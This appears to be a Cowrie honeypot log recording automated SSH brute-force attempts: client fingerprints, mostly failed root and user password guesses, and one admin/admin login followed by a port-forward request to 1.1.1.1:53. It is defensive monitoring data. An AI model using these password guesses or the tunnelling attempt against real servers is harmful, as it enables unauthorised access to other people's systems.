{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:53.746390Z","src_ip":"152.32.150.26","session":"37e5176a8fd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:53.757005Z","src_ip":"152.32.150.26","session":"37e5176a8fd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stefano","message":"login attempt [root/stefano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:53.833234Z","src_ip":"152.32.150.26","session":"37e5176a8fd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:54.852215Z","src_ip":"152.32.150.26","session":"37e5176a8fd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":15164,"dst_ip":"159.203.135.109","dst_port":22,"session":"4524794cf7ac","protocol":"ssh","message":"New connection: 2.57.121.25:15164 (159.203.135.109:22) [session: 4524794cf7ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:56.293619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:56.301781Z","src_ip":"2.57.121.25","session":"4524794cf7ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:56.407197Z","src_ip":"2.57.121.25","session":"4524794cf7ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"101092","message":"login attempt [user/101092] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:56.902128Z","src_ip":"2.57.121.25","session":"4524794cf7ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"101084","message":"login attempt [user/101084] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:58.010724Z","src_ip":"2.57.121.25","session":"4524794cf7ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"101078","message":"login attempt [user/101078] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:59.120017Z","src_ip":"2.57.121.25","session":"4524794cf7ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10061977","message":"login attempt [user/10061977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:00.228573Z","src_ip":"2.57.121.25","session":"4524794cf7ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"100387","message":"login attempt [user/100387] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:01.337432Z","src_ip":"2.57.121.25","session":"4524794cf7ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":53356,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c444fa2fbcf","protocol":"ssh","message":"New connection: 43.173.89.56:53356 (159.203.135.109:22) [session: 4c444fa2fbcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:01.985145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:01.992966Z","src_ip":"43.173.89.56","session":"4c444fa2fbcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:02.064642Z","src_ip":"43.173.89.56","session":"4c444fa2fbcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234Aa","message":"login attempt [root/Aa1234Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:02.371159Z","src_ip":"43.173.89.56","session":"4c444fa2fbcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:02.450876Z","src_ip":"2.57.121.25","session":"4524794cf7ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:03.442797Z","src_ip":"43.173.89.56","session":"4c444fa2fbcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":54222,"dst_ip":"159.203.135.109","dst_port":22,"session":"451672b5eefd","protocol":"ssh","message":"New connection: 43.134.27.11:54222 (159.203.135.109:22) [session: 451672b5eefd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:04.826731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:04.831853Z","src_ip":"43.134.27.11","session":"451672b5eefd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:05.078530Z","src_ip":"43.134.27.11","session":"451672b5eefd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#ewq123","message":"login attempt [root/!@#ewq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:06.093059Z","src_ip":"43.134.27.11","session":"451672b5eefd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:07.341351Z","src_ip":"43.134.27.11","session":"451672b5eefd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":39228,"dst_ip":"159.203.135.109","dst_port":22,"session":"711b35093feb","protocol":"ssh","message":"New connection: 43.130.16.4:39228 (159.203.135.109:22) [session: 711b35093feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:09.494626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:09.499062Z","src_ip":"43.130.16.4","session":"711b35093feb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:09.571188Z","src_ip":"43.130.16.4","session":"711b35093feb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elephant","message":"login attempt [root/elephant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:09.876530Z","src_ip":"43.130.16.4","session":"711b35093feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:10.947416Z","src_ip":"43.130.16.4","session":"711b35093feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":60670,"dst_ip":"159.203.135.109","dst_port":22,"session":"0113b06dde30","protocol":"ssh","message":"New connection: 43.153.39.191:60670 (159.203.135.109:22) [session: 0113b06dde30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:22.132140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:22.136104Z","src_ip":"43.153.39.191","session":"0113b06dde30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:22.203393Z","src_ip":"43.153.39.191","session":"0113b06dde30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root333","message":"login attempt [root/root333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:22.505217Z","src_ip":"43.153.39.191","session":"0113b06dde30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:23.575919Z","src_ip":"43.153.39.191","session":"0113b06dde30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.057562828063965,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:24.553061Z","src_ip":"192.119.13.58","session":"60f5b164c2c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49490,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d5965a4fa26","protocol":"telnet","message":"New connection: 192.119.13.58:49490 (10.17.0.5:23) [session: 2d5965a4fa26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:24.845168Z"}
{"eventid":"cowrie.session.closed","duration":6.48429799079895,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:31.329350Z","src_ip":"192.119.13.58","session":"2d5965a4fa26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":42156,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3710470f52e","protocol":"ssh","message":"New connection: 193.228.128.84:42156 (10.17.0.5:22) [session: f3710470f52e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:39.744524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:39.749099Z","src_ip":"193.228.128.84","session":"f3710470f52e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:39.850635Z","src_ip":"193.228.128.84","session":"f3710470f52e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"567890","message":"login attempt [root/567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:40.156568Z","src_ip":"193.228.128.84","session":"f3710470f52e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:41.261117Z","src_ip":"193.228.128.84","session":"f3710470f52e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":1842,"dst_ip":"10.17.0.5","dst_port":22,"session":"db60e766ee47","protocol":"ssh","message":"New connection: 87.251.64.176:1842 (10.17.0.5:22) [session: db60e766ee47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:51.611072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:51.614867Z","src_ip":"87.251.64.176","session":"db60e766ee47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:51.712305Z","src_ip":"87.251.64.176","session":"db60e766ee47","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:52.001916Z","src_ip":"87.251.64.176","session":"db60e766ee47","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:52.100132Z","session":"db60e766ee47","protocol":"ssh"}
